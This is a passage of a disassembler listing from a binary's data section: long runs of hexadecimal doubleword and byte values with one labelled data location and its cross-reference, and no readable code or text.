		dd 2C56912Fh, 581FF06Bh, 6DA52EEDh, 896A607Fh, 3E1A32A9h
		dd 85DF3BE8h, 0CA883D3Bh, 1D7D2085h, 232AE835h,	55E0C8A6h
		dd 0D8037D5h, 0D4BF8112h, 53E21FE7h, 0F293009Fh, 4EE85FB0h
		dd 0C84817F5h, 0D90097E7h, 0DA674033h, 724EAD6Bh, 7BB948FFh
		dd 595C2D22h, 64CB312Ch, 58061A09h, 0FE53EE2Ch,	7C2BCA14h
		dd 94D288h, 5E47EFE7h, 58D10F5Bh, 0ADB9660Ah, 8509A846h
		dd 37DCA9A9h, 0C2908078h, 0E9081207h, 4B75E40Ch, 9A360DAh
		dd 682E85Eh, 0AE80D23Dh, 0BFA784B0h, 8E9C183Ah,	1859B009h
		dd 0D55982h, 8678C61Ah,	0C9002D46h, 0ACBDD3A2h,	4BAF0F3h
		dd 5A5CE57Ah, 8F008623h, 0A90B797h, 11901D75h, 0CF670010h
		dd 4BBC5773h, 0E3690063h, 0EFFE41F5h, 8658D014h, 0AEAD2AF0h
		dd 45BD6FA0h, 8BE02048h, 0DB8729F5h, 0A6FD7031h, 22DD0D0Ah
		dd 0CE09AC50h, 0F43F7C05h, 41A49616h, 0AC54904h, 3B05BF00h
		dd 0D7BA36A3h, 812140h,	0CDDB31D6h, 594E804h, 423CEF9Dh
		dd 6D426DDFh, 0D1262B7Fh, 0E17700ACh, 0F0D1576Eh, 82C483FCh
		dd 0D1DE1B71h, 5B981DFh, 2EF82573h, 35E847C1h, 0F4FC5CE6h
		dd 4F5D4B00h, 0B14D43BBh, 91EC0DBEh, 0E5AC0133h, 0F6983B2Ch
		dd 0BEA900EDh, 6343D128h, 597FAF21h, 0F104F427h, 613A312Ah
		dd 717A7A11h, 95A81828h, 0CB08827h, 1E4BA110h, 6E5A85B2h
		dd 721D2735h, 0C782279Ah, 1A515EFBh, 41035A18h,	4EB5A675h
		dd 81F827D7h, 36FFFF7Ah, 3F5CF0BDh, 60EEA886h, 28A70FB8h
		dd 0C6045535h, 2A1FBA61h, 0F6BCFE92h, 0E03AB64Bh, 1BEF46Eh
		dd 6643FE4Dh, 24B58529h, 0D8012B8Ch, 0CCEBE181h, 306075B3h
		dd 5E175E6Dh, 9DD8E5FFh, 0ED97CAF8h, 62146421h,	4533E0A0h
		dd 2CBB125Dh, 0E0AEA65Bh, 2ECE105h, 8D0B099Eh, 1C4AA595h
		dd 13DCFEDEh, 0A3860F08h, 89F2092Ch, 0DCFCD41Ah, 3E06EE1Eh
		dd 0E180AB80h, 524289BCh, 17E27404h, 2F086030h,	3198BAA7h
		dd 0BD208D29h, 11D68018h, 840E821Fh, 6D75E132h,	1209B85Fh
		dd 0F8D2DB64h, 0B71A2597h, 0D1D3DE4h, 0CF0C4083h, 5D18D2Bh
		dd 88A51CB1h, 2FAE8A45h, 20B00DCh, 0FBFCCECBh, 5D58F507h
		dd 52CAC0A6h, 0EAB74ED5h, 63973B71h, 980E9580h,	96B1408Dh
		dd 0EBDB71FBh, 4B822CB2h, 1A241CEDh, 47B8C3BDh,	0AA1DB70Bh
		dd 36517Ch, 0BD3C6A25h,	2600D72Fh, 0D88EC681h, 9E590C85h
		dd 0BD83A026h, 8F3F85B7h, 0A0DE4860h, 85661A5Eh, 7701581Bh
		dd 0E4DE1520h, 345E0710h, 25E5C120h, 3F78492Dh,	0B686C79Ah
		dd 0B795BE69h, 69E780D0h, 0AB51627Fh, 0F5ACFB62h, 586220Fh
		dd 16F1BE20h, 0AA0B6BE9h, 20002079h, 0DCCF8ABAh, 0BE8D1F56h
		dd 0AAB880A4h, 438E7049h, 1AE2F65Ch, 0F6A532D3h, 8D71DC72h
		dd 3139E303h, 2727665Ch, 0FD8991A6h, 0FDCBB56h,	6D881DDDh
		dd 3604A7AFh, 1C5D8C9Bh, 168FD00h, 86A21A52h, 384EFEA8h
		dd 7DB9E5DDh, 93F4589h,	390A29FCh, 561B8905h, 63E25972h
		dd 0A64F6BBCh, 0A71CDE08h, 0EEC98A44h, 5417285h, 8BA82ED6h
		dd 12C54847h, 37C50B81h, 0E4F8D7BAh, 5A040EFFh,	0DA807F3Bh
		dd 0D6F77B6Ah, 0CAF9A3D2h, 6F059DB8h, 1FE5BD03h, 503E3B6h
		dd 0EAF16588h, 0FB8890EBh, 3B07B04Bh, 38F67F5Dh, 0B8666030h
		dd 61161877h, 17B5D05Eh, 0C1BDB7h, 1D4C94A1h, 2D9014E1h
		dd 0FD9841FFh, 449BB915h, 1F3F00ABh, 0C2218C9Fh, 0FB1209AEh
		dd 0C1318E0Fh, 8BA3E595h, 191751E0h, 4EF477C0h,	512BF091h
		dd 0B8F68100h, 593641C7h, 2FD568E9h, 0A801D678h, 5B0C23E7h
		dd 44A8E1B5h, 0B1703BABh, 0F66F4Fh, 472E3996h, 16D9E997h
		dd 0A0BA460Dh, 6A55FB24h, 3D5EF28Eh, 0A5DB5F3Ch, 0DA2B70C0h
		dd 10B4E77h, 8445EDF8h,	8EA8C95Ch, 0F205F64Ah, 6C85574Bh
		dd 0F0F953F5h, 76FD614Ch, 1755F014h, 2EBF2716h,	0B6457640h
		dd 15C58A2Eh, 0EFF6DEh,	0D180CCF1h, 4DB58937h, 0C9352E5Bh
		dd 6216BF6Bh, 9FB9DEF3h, 2C842F10h, 20426ADEh, 96DACD11h
		dd 95BD9FF0h, 7EE0316Dh, 1EBD06BFh, 56AAD3A1h, 61E257h
		dd 0CC96C448h, 9B21931h, 6A2CFFFCh, 0EE9F0750h,	0E23D871Ah
		dd 9B77E7E0h, 15EA109Eh, 0BB500112h, 131D4BA7h,	0B9A8122Eh
		dd 4D7B844h, 22D2434Ah,	33EAC3Fh, 0FA8195BBh, 70E561Ch
		dd 304622F1h, 83A0DA35h, 8BBE68E6h, 80DB8102h, 847263B1h
		dd 4E0EFC53h, 0B0A188h,	80A9379Ah, 0A2513BA4h, 764072B4h
		dd 0B14EB85h, 0B8B3904Ch, 1200BB46h, 7E85DBCDh,	0A8AD75h
		dd 4D58FF08h, 90DD3168h, 1944C2A7h, 90AF4960h, 560172E0h
		dd 655AC781h, 0F7D85031h
		dd 7FB613A2h, 0C3D4FD3Ch, 4F84BBE7h, 8B85CC70h,	9359D10h
		dd 0D95C1C6Bh, 64441411h, 0F5280072h, 945ACF78h, 8A02042Fh
		dd 0A3374469h, 8AC2C3D2h, 0EB610511h, 0AF8B6875h, 23C11688h
		dd 6071330Bh, 0B621C53Fh, 0E293F087h, 1C2E00ACh, 7C24BBCDh
		dd 0FF2716FEh, 0C0D74DD1h, 99B523DEh, 90622827h, 206199h
		dd 27915FC9h, 9501F0CCh, 9106412Fh, 0AF0422F8h,	37A1200Dh
		dd 6DC0411Ah, 87983809h, 0B4BB3600h, 0F657AA6h,	6ADF14BFh
		dd 1BE8B802h, 0CB49008Ch, 0F12DFE8Fh, 0F2D9C22h, 5AF5C48Bh
		dd 7B8CB1D9h, 87677F37h, 3101060Ah, 4FCDBB66h, 6A8CC96Ah
		dd 0B035782h, 0CA08650h, 0B29E1E71h, 296204F4h,	2136995h
		dd 0D50DE5E9h, 0F021D516h, 0B8352768h, 0BE0BC10Ch, 241C4295h
		dd 486086DFh, 0EDB2878h, 0AF2E11D6h, 3AB6E620h,	0ED4CCC92h
		dd 0C13E1E2Eh, 0EB90A96h, 0DE098BB8h, 2519BD03h, 0A9455022h
		dd 58FDB529h, 0B5FF6412h, 0B755C2D2h, 2F880051h, 53EB7AA8h
		dd 0E88B8714h, 96CA0071h, 5825B8FAh, 449300D3h,	6A6948C1h
		dd 5F1FDD28h, 47AF8964h, 6018E4DEh, 2535A43Ah, 544407A2h
		dd 0F3D63D00h, 47DF7182h, 9D11E4Eh, 0D659ED54h,	9CA450A5h
		dd 0DDE7A513h, 7D601644h, 0BF0109DAh, 2FAC2999h, 522BB5FFh
		dd 80B79B0Eh, 0F37606F6h, 0E2960122h, 15B501D1h, 127D04h
		dd 52583DDBh, 0C9B19D89h, 8A075B19h, 0E904087Dh, 0BCD70129h
		dd 0A28B80E8h, 5431210Dh, 26F6E500h, 4D9589C2h,	0BC34B61Fh
		dd 1D798D08h, 0F870E60Bh, 0E411C07Eh, 119D2371h, 0D33E0941h
		dd 617BF45Dh, 0E83DBD2Dh, 40DD95E8h, 0B6000F34h, 42CF81C8h
		dd 0B6782707h, 9350443Ch, 0C19A5F89h, 322904D5h, 0C3F5C413h
		dd 0F40BFAB2h, 42618AF7h, 1DBA51FBh, 2B79C0AEh,	1E3DEF5Dh
		dd 0A9ECDA00h, 0A4F9A27Fh, 8B382662h, 2BD80469h, 8573BCC8h
		dd 6E8025F6h, 2CFD6769h, 6BD18Bh, 42E2541Bh, 29C28AE9h
		dd 7DD9BD0Bh, 0A585C025h, 0F9B696AEh, 7E07ED09h, 0BB9DC5B9h
		dd 601EEA5Ah, 14E9BB98h, 97D03B93h, 5088232Ch, 50002A6Eh
		dd 0BB776DEDh, 19E6C6Bh, 54EB4589h, 8944E9A7h, 0F18C0F29h
		dd 68BF04F9h, 0D033EAA0h, 16F1B101h, 8432CC2Fh,	26382545h
		dd 0E1C9BBC1h, 0A590945Eh, 41FE2F20h, 226C892Ch, 0F260019Eh
		dd 0B8E9210Ch, 0B58D043Dh, 4BC4F0A2h, 0F2D66340h, 53200Bh
		dd 0A9B049EAh, 30C6B1Bh, 81B59725h, 2CB99D68h, 609A9D3Eh
		dd 0C08A0613h, 0AE8EC41h, 61B95ADCh, 86FBA7D8h,	3B2D0B70h
		dd 71028E3Ch, 82443E9Ah, 0B7071066h, 0BEC7C1FDh, 77EFD710h
		dd 0A43D284Dh, 0DBFC4A9Dh, 35D2809Bh, 0AC6B080h, 0F92816D6h
		dd 0BD050FFFh, 0FC7AC97Fh, 9800E671h, 8B9F74DEh, 2CA125ACh
		dd 2B8B04D9h, 707FF3C0h, 0CD1D974Bh, 0CF85368Eh, 1EAF19FFh
		dd 15AF809Dh, 5DDB05BFh, 4EBA1A38h, 188DC121h, 0C233AD00h
		dd 0D076D160h, 2D04E983h, 8C37F475h, 0F00B7309h, 0B3109DE2h
		dd 0EB010133h, 95BCE930h, 7FD405EFh, 886062E2h,	5B043539h
		dd 1B46EABh, 297B182Eh,	4E6879BDh, 23880D1Ah, 403CC500h
		dd 3AFF958Bh, 0F79DD04Eh, 2420E186h, 0BA998CEh,	0F2F306C9h
		dd 99E18800h, 1C86A5BCh, 86C28B50h, 8C10318h, 9BADD2F1h
		dd 76016B19h, 43A953Dh,	0DE70FAFDh, 3E1F4161h, 8F46E808h
		dd 0C9C63353h, 0C497FB1Ah, 0D7800E30h, 6E268DA0h, 0F1BB1E4Eh
		dd 20A970h, 785DA01h, 5087FFBBh, 0F1B7471Dh, 0DE29E189h
		dd 69BD6304h, 11534985h, 807639A9h, 0A3C002DCh,	9796D125h
		dd 6EAF08Fh, 0D01C434h,	0D095BF8h, 0B55A61E6h, 943DDDF6h
		dd 0FA2CAF02h, 7460DD56h, 7B58FBE0h, 0D0BB1C3Ah, 56605B09h
		dd 7D4CDCF3h, 301A415Bh, 42B5F853h, 739ADB8Fh, 0A2ACB680h
		dd 0BD2A2690h, 8013C835h, 8CB604E1h, 267B8E0h, 0F9CF8F05h
		dd 0B305C90Ah, 0EBF40115h, 0EB8102DFh, 658F376Bh, 1FD16EC0h
		dd 28D50E82h, 0D3810017h, 72CDBD9Bh, 45853312h,	71DA42B5h
		dd 56C78E09h, 0EC549009h, 50D88A61h, 20079442h,	3797BB56h
		dd 5B45B00Bh, 0B9378490h, 0E60252FFh, 1390F0D6h, 2A35813Dh
		dd 38FFD3DCh, 885B1F03h, 7C005EE8h, 823147B8h, 0C5A137h
		dd 0EED06C65h, 64D6F4C6h, 78FBAE2Fh, 6115A85Fh,	7BAFF1D5h
		dd 0DB50D46h, 0D6CE0432h, 5250629Ah, 0BB60DFF6h, 4BB8B393h
		dd 0DB6F4427h, 37671C37h, 48FC386Ah, 3D2FDD25h,	4508BAD9h
		dd 4EAB201Ah, 2ABAC861h, 0CE6D632h, 90215DBDh, 0BD018CE9h
		dd 58E958C7h, 0A5489D72h, 0F9610923h, 41220C06h, 3291C770h
		dd 6E608D24h, 331BBC87h, 263EFC3Ch, 4E542F5Ch, 2E080DC5h
		dd 84082625h, 99F90689h, 596E2F3Ah, 8CA91B00h, 0A15AAA0Bh
		dd 0A7A8D201h, 2EB18509h, 44F18548h, 44A4611h, 0AD96B1DBh
		dd 3DC20B80h, 8F671896h, 5E1900D5h, 45DB8D75h, 96122D15h
		dd 2054B3Bh, 0F9169EB3h, 9058B4B0h, 0DD567D28h,	96A5BB10h
		dd 0B000FB7h, 5B981C6Bh, 13BF05B1h, 3122B5FFh, 1481F2h
		dd 2774A168h, 75449E10h, 3CB9F500h, 221F6C1Ah, 0F108000Ah
		dd 6F4817B7h, 0D9841C1h, 785FD925h, 8F5E09D1h, 0F256620Eh
		dd 60F81DDCh, 9CC2F8Ah,	0A599517h, 4F94CAACh, 0C17C0492h
		dd 32FC171Dh, 3C927810h, 0A4E64AF9h, 89128EE0h,	397E6104h
		dd 0BE813586h, 0B5E802B8h, 9D2D4801h, 1B86D3A4h, 0A5899F3Bh
		dd 8076832Dh, 85C7D9EBh, 6B624F63h, 99614CB7h, 6145A67Dh
		dd 0A29A6A20h, 74BB8BB7h, 0E700DE54h, 0CD8D7FFAh, 1C1AB17Ch
		dd 4979BA60h, 0CF802ADEh, 5D5C3ABCh, 52E96125h,	2B4DBD95h
		dd 0C19EB4C0h, 30500E62h, 440E110Ch, 1E52016Fh,	830EB420h
		dd 3F14CEEh, 0D102958h,	3636EBE7h, 396404DEh, 1B3316EEh
		dd 40282950h, 0CD581821h, 9570113h, 0C08BC01Bh,	153797h
		dd 54A47BC1h, 31056BAEh, 0BF65897Eh, 3748F00Fh,	52305248h
		dd 0A68545C0h, 22DE045Eh, 0C9DE2780h, 0A45A33FDh, 0B315B214h
		dd 81631F75h, 0D27C84E3h, 5EF8443h, 0AE0B6013h,	36FF9B25h
		dd 0F95B5267h, 33159804h, 5118A914h, 1EB50D10h,	9AB647D3h
		dd 88631CE0h, 0C7DE8B07h, 40D0106h, 9A519DE0h, 80B299B7h
		dd 0A9BD3E25h, 27FE66AEh, 84BF0C24h, 8137CE0Bh,	3C41439Dh
		dd 2523D8FBh, 60963D5Fh, 161488AFh, 9F2B3300h, 0C394DE38h
		dd 8D0B00E5h, 6C85B121h, 19A0E9F0h, 0A5007066h,	632D90B2h
		dd 9E946Bh, 0A1999C21h,	0C20178D7h, 6195CE13h, 72FB290Dh
		dd 4A59CCADh, 0C30FFD00h, 0DF3DB6h, 0D0BC8E33h,	0EFD13CDEh
		dd 0F5D98100h, 0AABE66FFh, 2B84BD01h, 10FBE38Bh, 0D84619A5h
		dd 80019B5Fh, 0BBF92342h, 58B9E445h, 0EC40AFC1h, 0F2040BDh
		dd 0FCA68C70h, 92EFDA52h, 2080129Ah, 89A76D1Dh,	10CCAC58h
		dd 15F81059h, 3F493A8Ch, 86162948h, 0C3ED9EC4h,	0F28A0CC4h
		dd 0ADDC592Eh, 8317A758h, 4AB604C2h, 926D76E0h,	0D80ED502h
		dd 0C1843825h, 6217159Dh, 37DF2050h, 17B5203Ch,	0A4115585h
		dd 0E851B325h, 0B82A39CDh, 37950014h, 0EE180B0Ah, 0A2B987BEh
		dd 33B88609h, 0A0605E03h, 8A49CBA0h, 18568C44h,	0DA417F3h
		dd 3F9E8D5Bh, 9166BC2h,	0C80934F4h, 258A7CD0h, 0E3C0E54Dh
		dd 4BA40182h, 98E8C8AAh, 808F0D00h, 376A6E0Ah, 42F60379h
		dd 645213AFh, 4A70C5C8h, 12698CC4h, 0DA4FA38Eh,	0C8380ACh
		dd 3419393Bh, 0FA5CC12Ah, 0B5121652h, 28EF5E8Ch, 2F8BD50Bh
		dd 0D3122369h, 17ADD040h
		dd 0BD6E08F3h, 0CD60DAEFh, 0EEA979D0h, 93D10998h, 1D8F05A2h
		dd 500B3148h, 4075D456h, 7052A7F0h, 2D5D710Fh, 6EBFC58Eh
		dd 0EA0320A2h, 6427F937h, 625378D0h, 8C51DD1Dh,	5B5F5645h
		dd 9509E242h, 88BAD0C1h, 2DEE1Eh, 9E9AD121h, 25F5DFAFh
		dd 0EFC5730Ah, 9BC8BD35h, 9303D90Bh, 12FA8D94h,	82D49B18h
		dd 5E112D9Eh, 0F9FE6CFFh, 0E89C0C4Dh, 0C2188C16h, 0DDA8EAA1h
		dd 414FB711h, 89B5BC41h, 0FE5425C9h, 0F5B34DC4h, 7905FF27h
		dd 0BD4CC167h, 2FD347Dh, 6AF31290h, 0B0CEEADEh,	0EEC2E141h
		dd 0AED6C8A0h, 4C50D52Eh, 14051508h, 0D2CCB5Bh,	658541F2h
		dd 0E8A22D1Ah, 0F96D3DA7h, 22344C00h, 0C6F0BEC1h, 0FC9B7FE1h
		dd 9D2952C0h, 0C7801EC9h, 861D5A85h, 3E027AEh, 1F19D12h
		dd 0F3404A43h, 31A68DFFh, 0D8B817E0h, 46BE1F09h, 9DF4028Bh
		dd 50712969h, 0D801DCA0h, 0F2ACBB90h, 0EE381AE4h, 0ED26181Eh
		dd 0BD706A73h, 30B401E1h, 39115BB8h, 317E8A27h,	0BB40C70Ah
		dd 69451F7Dh, 54530E65h, 14297F70h, 6A1AA1BDh, 0E7782579h
		dd 0ED328DDAh, 0F78CE312h, 30E1C518h, 182F6181h, 25012C40h
		dd 59D130B7h, 28040185h, 0B651AA7h, 0AA7390h, 6B1E1CF1h
		dd 7703D81h, 0EB4EC1D2h, 4C2311A7h, 0D9F5F4C2h,	90504112h
		dd 0A7BC4DFDh, 0EF33EE1Ch, 60449E9Ah, 3C0EB35Fh, 9B5E0D54h
		dd 920DC337h, 0F5C495B5h, 6BD321B9h, 6F0072C1h,	0B6405C8Bh
		dd 0B00805ECh, 4B0C7894h, 6A2CDDFCh, 4F25B86Ah,	8D00F1E6h
		dd 8F3662C2h, 4B0CB3h, 0EA454E13h, 0D1FF742Bh, 0C52535B6h
		dd 6351105h, 12C18D89h,	6E024BEFh, 0B7E05A56h, 0FF9D1213h
		dd 2B1AE5FCh, 33E9BB60h, 9916970Fh, 0F1788921h,	22F181Ah
		dd 0B3481BF8h, 0E16D8AD7h, 0F92386E2h, 0FC9800F5h, 0BD90229Dh
		dd 6315DB02h, 5C5CCCD3h, 9E35E9AFh, 8032418Bh, 0D7C0A1C3h
		dd 9A3D7411h, 0C91E4BCFh, 81AC6456h, 33A4DF54h,	1A75BD17h
		dd 5CE941D2h, 2EFC59C4h, 9A2F8D29h, 0A00B8FDFh,	5D8509E6h
		dd 565B951Fh, 0C0B5CDA7h, 871EE066h, 0BC84D6C4h, 6AFE4A80h
		dd 0DC55BCFFh, 0BC106404h, 0C9C189F2h, 671410Bh, 605E4E7Fh
		dd 98D3323h, 9D89C114h,	0B2618B9Fh, 67E65727h, 87622EFBh
		dd 2039E6E4h, 0D0B51579h, 0BF0F0963h, 77725BDEh, 0FD12F6FFh
		dd 81C4CF11h, 663EBF41h, 2E57C2h, 0D76BBB6Bh, 6CBF0A52h
		dd 2B7D2284h, 0F6D6C162h, 0E34B5D24h, 645CDED2h, 25952905h
		dd 0C82BEC91h, 8616837Bh, 23D18BE1h, 0CF2A0761h, 0F720EAFCh
		dd 173C3B21h, 1AB17B1Ch, 895623FDh, 4DA6BD40h, 0D9280176h
		dd 0B02D37FEh, 0F372D00Dh
		db 0Bh,	7Eh, 0DBh
byte_544547	db 5Ch			; DATA XREF: ___:off_447224o
		dd 721B8B70h, 0BD032D8Fh, 68564BEAh, 0ADC8A0Dh,	239CB88h
		dd 0AC606B25h, 0B7F98B40h, 3665E914h, 35BEFC13h, 595A8179h
		dd 47622E2Eh, 0DBEA2C20h, 28BFC03Fh, 82951AA5h,	7C0BF941h
		dd 4484D02h, 8242AD56h,	55E6F994h, 0BEE0E7EDh, 0B7CBF74h
		dd 2C153A0Bh, 575A9264h, 0F1B38540h, 3648C8h, 8BF08AD5h
		dd 7AB7E5FFh, 127F5B48h, 7AAF1F0Fh, 0F1502991h,	0E874F181h
		dd 8CCC79E1h, 3D850938h, 0A26473ACh, 14E0BC0Eh,	0C44F0163h
		dd 38F824FFh, 5EA7CF8h,	6B771DB2h, 9A60FF48h, 800199B5h
		dd 0E4E15B9h, 0CFA089A7h, 70029CC2h, 28681EDBh,	690E416Bh
		dd 122BAF75h, 0B8FDAD9Ah, 0C8384F70h, 0F3045080h, 0FC0C39D4h
		dd 5EB8A5A9h, 0F2162E5Fh, 10619C0Eh, 99828039h,	5160C02Bh
		dd 3E44DE8Fh, 0B908C15Bh, 84F96C14h, 2B0425F5h,	0B488B9D2h
		dd 33A050A6h, 2312E597h, 53B8E19Dh, 805FDB5Eh, 4A2CDF90h
		dd 0EAA0330Ah, 0B5C66150h, 254BA9ECh, 9B2A7D99h, 64B780C1h
		dd 98E4ADB9h, 0B30244ACh, 98BB7302h, 5C796BA8h,	9C58C9A6h
		dd 17F41096h, 0A246696Ch, 0D332076Dh, 58BCD98Dh, 0AF910E17h
		dd 41D8368h, 0B8E0C321h, 152FADC5h, 37BCD1D5h, 0CDBD8912h
		dd 0E2ACB6C4h, 2F599DA3h, 272BC75h, 0EEC7719Ah,	45406313h
		dd 0D59C12EDh, 320148C0h, 0FE111D46h, 3807C03Fh, 7EF733F6h
		dd 6D159297h, 80B9E1E4h, 0FAB3D114h, 0FC69335Eh, 820140F2h
		dd 0C60E3DE7h, 0F1DB99h, 0D28ED1CDh, 0DBE15BFFh, 52419C1Eh
		dd 0E5FD1BBBh, 51395EFEh, 0EB81106Bh, 0FE5814A3h, 0DA25E212h
		dd 70191BE5h, 11F4312Dh, 58DCBC09h, 608A2786h, 497A0AEh
		dd 57602B5Fh, 0C29EBB5Bh, 0C19CB3C5h, 2E0279F6h, 0E100D67Fh
		dd 0C06AF1E5h, 5C09F781h, 72561CBBh, 17C2FDBh, 7BD04F5Bh
		dd 45EC02F6h, 66389710h, 432579D0h, 9BC06E0Dh, 9DD05BA2h
		dd 0E5008E7Ah, 3199BE28h, 0B10AE9B5h, 0D2F120DCh, 2F1DE50Ch
		dd 72A0A9B7h, 9C0790DBh, 4330A5BEh, 12EA1124h, 545B2F5h
		dd 1D17684h, 3144C2EAh,	0D843D456h, 6FC2B8FFh, 0CF72003Bh
		dd 0C4576B54h, 260BBB47h, 565A0406h, 355012B5h,	1C30BA7Fh
		dd 786E797Fh, 4F85E81Fh, 1576E90h, 0B860D992h, 4A3499EBh
		dd 45B881h, 682CCF27h, 4052ADB2h, 4D4AE0B5h, 0A2DEE5AEh
		dd 402160D9h, 950FD538h, 0E535CBAh, 4D63AA70h, 8D4B903Eh
		dd 0BA6E6F14h, 6A77C609h, 0A93C897Fh, 0C4886D17h, 0AC7A8578h
		dd 79D88919h, 6AD8EB42h, 81FAD100h, 2FF2C5D9h, 0CD614B5Fh
		dd 21026043h, 0C6254394h, 0DC2C9644h, 89DE3809h, 80F8B706h
		dd 0D5C55174h, 5B5C86E7h, 91A9D2EDh, 408C900Eh,	0D7C928E0h
		dd 1C7363D0h, 0DBE8FE0Dh, 707BBF96h, 6D5E01FDh,	0B6ACAA01h
		dd 0C4F5FCB0h, 1C8A8E0h, 22F4F229h, 6EED8D09h, 0B46FC88h
		dd 96DF8B04h, 0E850C570h, 0C1EC5444h, 1A0034FEh, 7CF98AF4h
		dd 252DD3Dh, 8A0F85Eh, 9EE09267h, 5F48A7DFh, 875672B2h
		dd 96A250D6h, 0C0014D9Fh, 0CB71D67Bh, 0A2689A97h, 7483657Eh
		dd 0BF2253EAh, 659B000Ah, 8193BEE2h, 0FE191295h, 0BFA45BBAh
		dd 497436ECh, 6604F179h, 0E98F2FBBh, 0C01448EAh, 0BC67F2BAh
		dd 0D911017Bh, 4A9339E5h, 5DB3D837h, 6F8B5B38h,	6613AA3Eh
		dd 0FECE42Dh, 91EA6BC9h, 0CFFB8440h, 379D5847h,	0C0741E38h
		dd 9C7216D0h, 4495B589h, 95D3A644h, 3D20644Eh, 60900903h
		dd 8E01C58Ah, 6B611D3Eh, 7B64B25Fh, 98BA58DEh, 0D6BF0F0Bh
		dd 49A8DC79h, 0A0233120h, 4EF1BDBBh, 1647CA21h,	46D5D1B5h
		dd 0FCB9B1ADh, 0BF0490D7h, 27BCDAE6h, 0A8B4C4BCh, 0AACA4A0Ah
		dd 0FD102827h, 0E980192Dh, 8817D738h, 0AF07E1B8h, 0FA93A978h
		dd 0D2AE1D20h, 1910B7BFh, 0C60254BCh, 0EFE14682h, 75935E5Bh
		dd 7DA6FCC4h, 15093E0h,	0DE1DB525h, 88C5A5D1h, 0EA7B916h
		dd 0E65B87B0h, 0EDCEEA05h, 0DD2CD98Bh, 9E044E89h, 6285809Ch
		dd 35964Fh, 81E8C06Ch, 0B088AFD3h, 0B50F753Bh, 48F62F0Ch
		dd 0E10DBD1Dh, 32C8904Bh, 0C12D008Eh, 4AA1A217h, 0CA091E6Dh
		dd 799EFDE2h, 0B3B7A5BEh, 1DC80C07h, 6602760h, 0A3B45C48h
		dd 0E8C5A45Eh, 8F205AA0h, 0DD29FD00h, 0B1E03F26h, 1D5C2D36h
		dd 7FCB94E0h, 0ADD5F4Bh, 80D1DA2Ah, 0A94EEF18h,	0F0740199h
		dd 85292635h, 2FA1655Dh, 2DBD0360h, 7A968114h, 2CE63920h
		dd 31581D63h, 0CB7045ADh, 8387B064h, 96A6B58h, 5B16DD9Dh
		dd 181979F9h, 6C8B0EDFh, 0F352F5BEh, 9CA64A98h,	0A4CEACE5h
		dd 42296587h, 11AF3763h, 0DD409C1Ah, 11EE3548h,	9D2936D6h
		dd 3A975CCEh, 511AFBC0h, 0B90960A9h, 122E0741h,	0F172BBC3h
		dd 94CE02Bh, 6EDE0232h,	699259F6h, 37A7E971h, 0D8CD00E8h
		dd 0EC43D3BBh, 2BFC6405h, 5CD419BDh, 575DD9B8h,	0AD019EB8h
		dd 1957BF43h, 0D42841FAh, 0F8A7A38Eh, 961B069h,	0D71D5744h
		dd 0E225B9DEh, 0E0504DE4h, 59A90E94h, 59541324h, 7BA12D09h
		dd 0A34DA7E7h, 0D34CA241h, 0BDDE562Fh, 2AE85Ch,	0AD306F31h
		dd 12566BF5h, 5F12AEB1h, 0A0E8A565h, 2D979D5Fh,	395AA851h
		dd 9CA4C7ADh, 0B7A389E0h, 0D6AD13D0h, 62F4B2E0h, 9B5702A8h
		dd 14619D89h, 46DE035Eh, 960F071Ch, 0DF7026F5h,	90107B5Dh
		dd 0CCC14D86h, 0BFF38C4Bh, 6C991909h, 46F57922h, 9D935562h
		dd 95B4D07Bh, 25FE0557h, 0D2A5C74Eh, 9AABDEC2h,	9C037EDh
		dd 709ADA14h, 0B6350949h, 0E55948CFh, 64B98D03h, 0CDE0884Bh
		dd 72566231h, 84E5BD8h,	0D9568651h, 0CCE22E8Ah,	717CC83h
		dd 9AE480BCh, 27003E4Fh, 0C024B893h, 9D08A1F0h,	0E4D8051Ah
		dd 0DEC71D34h, 0EC883532h, 0DDF84BCEh, 0A81129CDh, 0F09312FFh
		dd 89BBF21Ah, 12BD5D46h, 4EBBAC84h, 903499C3h, 0B09036DDh
		dd 2545256Ah, 0F2DB3EEh, 4A8F983h, 1223A59Dh, 0F20B9AE0h
		dd 0CF184B65h, 0E3DB5F7Eh, 8BA9B183h, 0E175A20h, 0FFF245E9h
		dd 2FDDA638h, 61F182h, 1C7296B2h, 8F774FD1h, 0D3E1C200h
		dd 0F381C9EAh, 9D2B2737h, 9BF23FAh, 0DC3F7EBDh,	87A78B00h
		dd 0BAC08EAFh, 0AD335CAAh, 0D925FB46h, 0B3000559h, 0CC78DC19h
		dd 5FA700D3h, 71BDD6AFh, 8862E060h, 0EC5BFE2Eh,	0E38102C8h
		dd 3F6B406Dh, 6060E75Eh, 0B0F1D880h, 8ACD5457h,	3F04BD61h
		dd 0FC604B16h, 78EB4076h, 4D718775h, 6C7A8B00h,	9B350F7Fh
		dd 615E0005h, 4B7BBF50h, 93963971h, 754BB720h, 9B7F92B5h
		dd 28CC01Fh, 2D4E9776h,	551367E1h, 0E3C483E0h, 0D81BA637h
		dd 57E78912h, 0A8E0B16Dh, 0B1C2E780h, 4C7280EEh, 998C5703h
		dd 536DB10Fh, 4A5D301h,	40F9A02h, 0E4208751h, 505F0219h
		dd 452608Ah, 78FFB324h,	80152A57h, 4E9BA3CFh, 0C9BC99BDh
		dd 373FCC74h, 1E2B12F1h, 0E24EE3F3h, 7F1900C7h,	0FE9B3852h
		dd 0D65A2881h, 21D20DCh, 0CFDD5B4Bh, 0EEB00D26h, 75025FCDh
		dd 26FCABD4h, 8046F078h, 8007999Ch, 0FF2E2CB7h,	19DE6CD1h
		dd 56239DAFh, 0EC282FFBh, 9510844Fh, 37921855h,	155D50FCh
		dd 0F8F27BB5h, 4D505A34h, 0F051E349h, 25B5C59h,	0A84EEDA4h
		dd 0A5B500B7h, 54F50C65h, 684A42D9h, 95DD68F4h,	8F129FE7h
		dd 0FB9B6D16h, 750EA8C0h, 1B056EBDh, 0EF368256h, 1EC9C99Bh
		dd 0D5C33A5Fh, 5BE0AF93h, 0CD485562h, 5E8CC0A1h, 17F7BB2h
		dd 7ECE7D44h, 3A5BB488h, 70941A34h, 0C6C0E3A8h,	92B15B3h
		dd 0F7B93E01h, 0C8A42F34h, 4B30C656h, 2EF3D9F9h, 1723F26Eh
		dd 9AC0AE00h, 7FBB66E7h
		dd 0A209979Ch, 6080F471h, 25F28156h, 21BD1816h,	2E822C5Ah
		dd 0FF6A6104h, 0CDEE9529h, 2E05E172h, 31A067F7h, 1127FC6Ch
		dd 8345ED4h, 402D04D1h,	97CE2C4Eh, 76F6CEB1h, 0AB03013h
